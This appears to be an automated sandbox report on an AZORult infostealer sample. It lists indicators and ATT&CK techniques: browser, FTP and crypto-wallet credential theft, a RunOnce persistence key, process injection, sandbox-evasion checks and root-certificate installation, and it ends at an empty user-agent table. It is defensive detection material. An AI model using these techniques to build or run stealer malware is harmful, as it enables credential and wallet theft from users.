azorult | 8bce8055e208c7c0fb212a2af6a6232e7a2c7bc81889d75517dd2520dbf10b80

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Control Panel\International\Geo\Nation	setups.tmp

Loads dropped DLL 8 IoCs

pid	Process
2212	setups.tmp
2212	setups.tmp
2212	setups.tmp
2212	setups.tmp
2212	setups.tmp
2212	setups.tmp
2212	setups.tmp
4856	rundll32.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\hygfjpe511z = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\UY3FJ3LTSM\\multitimer.exe\" 1 3.1617396968.606784e869c0a"	multitimer.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 16 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
69	api.ipify.org
138	ipinfo.io
425	ip-api.com
520	api.ipify.org
557	ipinfo.io
141	ipinfo.io
321	ipinfo.io
713	ipinfo.io
230	api.ipify.org
573	ip-api.com
652	ipinfo.io
688	ipinfo.io
205	ip-api.com
316	ipinfo.io
551	ipinfo.io
711	ipinfo.io

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum	multitimer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum\0	multitimer.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 928 set thread context of 2300	928	key.exe	87
PID 856 set thread context of 5000	856	svchost.exe	110
PID 1840 set thread context of 4952	1840	D0A4.tmp.exe	116

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File created	C:\Program Files\unins0000.dat	Full Program Features.exe
File created	C:\Program Files\unins0000.dll	Full Program Features.exe
File created	C:\Program Files\unins.vbs	Full Program Features.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\ESE.TXT	MicrosoftEdge.exe
File created	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\security.config.cch.new	multitimer.exe
File created	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\enterprisesec.config.cch.new	multitimer.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 48 IoCs

pid	pid_target	Process	procid_target
2176	5456	WerFault.exe	133
5168	5456	WerFault.exe	133
648	5456	WerFault.exe	133
3904	5456	WerFault.exe	133
5160	5456	WerFault.exe	133
5680	5456	WerFault.exe	133
5584	5456	WerFault.exe	133
3692	5792	WerFault.exe	257
6052	5792	WerFault.exe	257
5028	5788	WerFault.exe	170
6568	5792	WerFault.exe	257
5976	5792	WerFault.exe	257
6588	5788	WerFault.exe	170
2196	5788	WerFault.exe	170
5736	5792	WerFault.exe	257
3784	5788	WerFault.exe	170
3720	5792	WerFault.exe	257
6172	5788	WerFault.exe	170
3592	5788	WerFault.exe	170
5744	5792	WerFault.exe	257
2128	5788	WerFault.exe	170
2920	5788	WerFault.exe	170
4240	5788	WerFault.exe	170
7140	4300	WerFault.exe	168
1736	5788	WerFault.exe	170
5676	5788	WerFault.exe	170
7196	5788	WerFault.exe	170
7452	5788	WerFault.exe	170
6604	7440	WerFault.exe	449
7920	7440	WerFault.exe	449
3500	7440	WerFault.exe	449
7344	7440	WerFault.exe	449
8824	7440	WerFault.exe	449
9200	7440	WerFault.exe	449
7932	7440	WerFault.exe	449
9832	8716	WerFault.exe	496
9784	4848	WerFault.exe	504
9164	6056	WerFault.exe	254
9956	8716	WerFault.exe	496
8524	4848	WerFault.exe	504
9896	8716	WerFault.exe	496
5232	4848	WerFault.exe	504
7680	8716	WerFault.exe	496
9664	4848	WerFault.exe	504
4072	8368	WerFault.exe	513
8700	8740	WerFault.exe	514
10488	8368	WerFault.exe	513
10580	8740	WerFault.exe	514

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
3528	timeout.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	multitimer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	multitimer.exe

Kills process with taskkill 6 IoCs

evasion

pid	Process
500	taskkill.exe
3160	taskkill.exe
4484	taskkill.exe
4116	taskkill.exe
4852	taskkill.exe
11032	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Internet Explorer\Main	browser_broker.exe
Key created	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdgeCP.exe

Modifies data under HKEY_USERS 5 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit\Version = "7"	svchost.exe

Modifies registry class 64 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\EnablementState = "1"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 6985dadd1328d701	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url2 = "https://login.aliexpress.com/"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\SubSysId = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\ReadingStorePending = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionLow = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\DisallowDefaultBrowserPrompt = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Extensible Cache	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\History\CacheLimit = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modif = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Revision = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VersionLow = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\AllComplete = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\ManagerHistoryComplete = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Toolbar	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Roaming	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\Favorites	MicrosoftEdge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{MKUSM4Y3-Y0K1-VV65-WWVU-TITVMNYKUV21}	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\EnableNegotiate = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DummyPath\dummySetting = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\SmartScreenCompletedVersi = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\Main	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VersionHigh = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url1 = "https://www.facebook.com/"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modif = 010000007fedca8847925815c97fc9fdf022990cf7f572f0eb48fb9904ec50ccb02ef4dda6e2cdcecc52e6eb415edc62d927ce7bf407a2be86b34df89eca15fe9d31dd5fbbf8530054b0ae37cf65f3d0f3e2df2f25c96a87b5f9c607e6c6	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus\DynamicCodePolicy = 00000000	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ReadingMode\FontSize = "3"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Zoom	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory\Extension = "5"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ServiceUI\IsSignedIn = "0"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modif = 01000000343ecaf226b4e99a56deb85fd9bbf2963c0fbfe81a519c3373d72dde69602d197d7182e34d3a3850d8ebe7ad26fda410719a878fae0c566049fb	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus\CIPolicyState = "0"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{XLCMX7L3-L6I1-MY60-TLXW-JIZNXKAMXM51}\1 = "5372"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DummyPath	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\History\CachePrefix = "Visited:"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ReadingMode\SettingsVersion = "2"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\InternetRegistry	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory\Extension = "{2051CBA4-4F2A-414F-A8A5-D0B52F37C1E4}"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus\SignaturePolicy = 06000000	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = a2dc2edd1328d701	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Roaming\ChangeUnitGenerationNeeded = "1"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\Favorites\Order = 0c0000000a000000000000000c0000000100000000000000	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings	MicrosoftEdge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{XLCMX7L3-L6I1-MY60-TLXW-JIZNXKAMXM51}	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CacheLimit = "1"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\DatastoreSchemaVersion = "8"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Explorer\Main\OperationalData = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionLow = "0"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\MigrationTime = 998267c856add601	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url5 = "https://twitter.com/"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Cookies	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs	MicrosoftEdge.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	askinstall20.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c0000000100000004000000000800000f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	askinstall20.exe

Runs ping.exe 1 TTPs 5 IoCs

Remote System Discovery

T1018

pid	Process
5672	PING.EXE
3440	PING.EXE
2096	PING.EXE
3096	PING.EXE
3980	PING.EXE

Script User-Agent 15 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
